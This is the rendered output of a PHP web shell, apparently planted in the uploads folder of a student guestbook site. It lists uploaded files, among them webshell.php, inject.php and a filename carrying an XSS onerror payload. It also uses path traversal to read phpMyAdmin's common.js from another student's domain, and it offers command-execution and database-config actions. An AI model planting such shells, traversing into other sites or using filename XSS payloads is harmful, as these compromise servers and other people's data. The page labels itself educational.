🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ../../../../589181.klas4s23.mid-ica.nl/public_html/phpmyadmin/js/src/../src/../dist/common.js

$(function () {
  Functions.checkNumberOfFields();
});

/**
 * Holds common parameters such as server, db, table, etc
 *
 * The content for this is normally loaded from Header.php or
 * Response.php and executed by ajax.js
 *
 * @test-module CommonParams
 */
var CommonParams = function () {
  /**
   * @var {Object} params An associative array of key value pairs
   * @access private
   */
  var params = {};
  // The returned object is the public part of the module
  return {
    /**
     * Saves all the key value pair that
     * are provided in the input array
     *
     * @param obj hash The input array
     *
     * @return {void}
     */
    setAll: function (obj) {
      var updateNavigation = false;
      for (var i in obj) {
        if (params[i] !== undefined && params[i] !== obj[i]) {
          if (i === 'db' || i === 'table') {
            updateNavigation = true;
          }
        }
        params[i] = obj[i];
      }
      if (updateNavigation && $('#pma_navigation_tree').hasClass('synced')) {
        Navigation.showCurrent();
      }
    },
    /**
     * Retrieves a value given its key
     * Returns empty string for undefined values
     *
     * @param {string} name The key
     *
     * @return {string}
     */
    get: function (name) {
      return params[name];
    },
    /**
     * Saves a single key value pair
     *
     * @param {string} name  The key
     * @param {string} value The value
     *
     * @return {CommonParams} For chainability
     */
    set: function (name, value) {
      var updateNavigation = false;
      if (name === 'db' || name === 'table' && params[name] !== value) {
        updateNavigation = true;
      }
      params[name] = value;
      if (updateNavigation && $('#pma_navigation_tree').hasClass('synced')) {
        Navigation.showCurrent();
      }
      return this;
    },
    /**
     * Returns the url query string using the saved parameters
     *
     * @param {string} separator New separator
     *
     * @return {string}
     */
    getUrlQuery: function (separator) {
      var sep = typeof separator !== 'undefined' ? separator : '?';
      var common = this.get('common_query');
      var argsep = CommonParams.get('arg_separator');
      if (typeof common === 'string' && common.length > 0) {
        // If the last char is the separator, do not add it
        // Else add it
        common = common.substr(common.length - 1, common.length) === argsep ? common : common + argsep;
      }
      return Functions.sprintf('%s%sserver=%s' + argsep + 'db=%s' + argsep + 'table=%s', sep, common, encodeURIComponent(this.get('server')), encodeURIComponent(this.get('db')), encodeURIComponent(this.get('table')));
    }
  };
}();

/**
 * Holds common parameters such as server, db, table, etc
 *
 * The content for this is normally loaded from Header.php or
 * Response.php and executed by ajax.js
 */
// eslint-disable-next-line no-unused-vars
var CommonActions = {
  /**
   * Saves the database name when it's changed
   * and reloads the query window, if necessary
   *
   * @param {string} newDb new_db The name of the new database
   *
   * @return {void}
   */
  setDb: function (newDb) {
    if (newDb !== CommonParams.get('db')) {
      CommonParams.setAll({
        'db': newDb,
        'table': ''
      });
    }
  },
  /**
   * Opens a database in the main part of the page
   *
   * @param {string} newDb The name of the new database
   *
   * @return {void}
   */
  openDb: function (newDb) {
    CommonParams.set('db', newDb).set('table', '');
    this.refreshMain(CommonParams.get('opendb_url'));
  },
  /**
   * Refreshes the main frame
   *
   * @param {any} url Undefined to refresh to the same page
   *                  String to go to a different page, e.g: 'index.php'
   * @param {function | undefined} callback
   *
   * @return {void}
   */
  refreshMain: function (url) {
    let callback = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : undefined;
    var newUrl = url;
    if (!newUrl) {
      newUrl = $('#selflink').find('a').attr('href') || window.location.pathname;
      newUrl = newUrl.substring(0, newUrl.indexOf('?'));
    }
    if (newUrl.indexOf('?') !== -1) {
      newUrl += CommonParams.getUrlQuery(CommonParams.get('arg_separator'));
    } else {
      newUrl += CommonParams.getUrlQuery('?');
    }
    $('<a></a>', {
      href: newUrl
    }).appendTo('body').trigger('click').remove();
    if (typeof callback !== 'undefined') {
      AJAX.callback = callback;
    }
  }
};

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!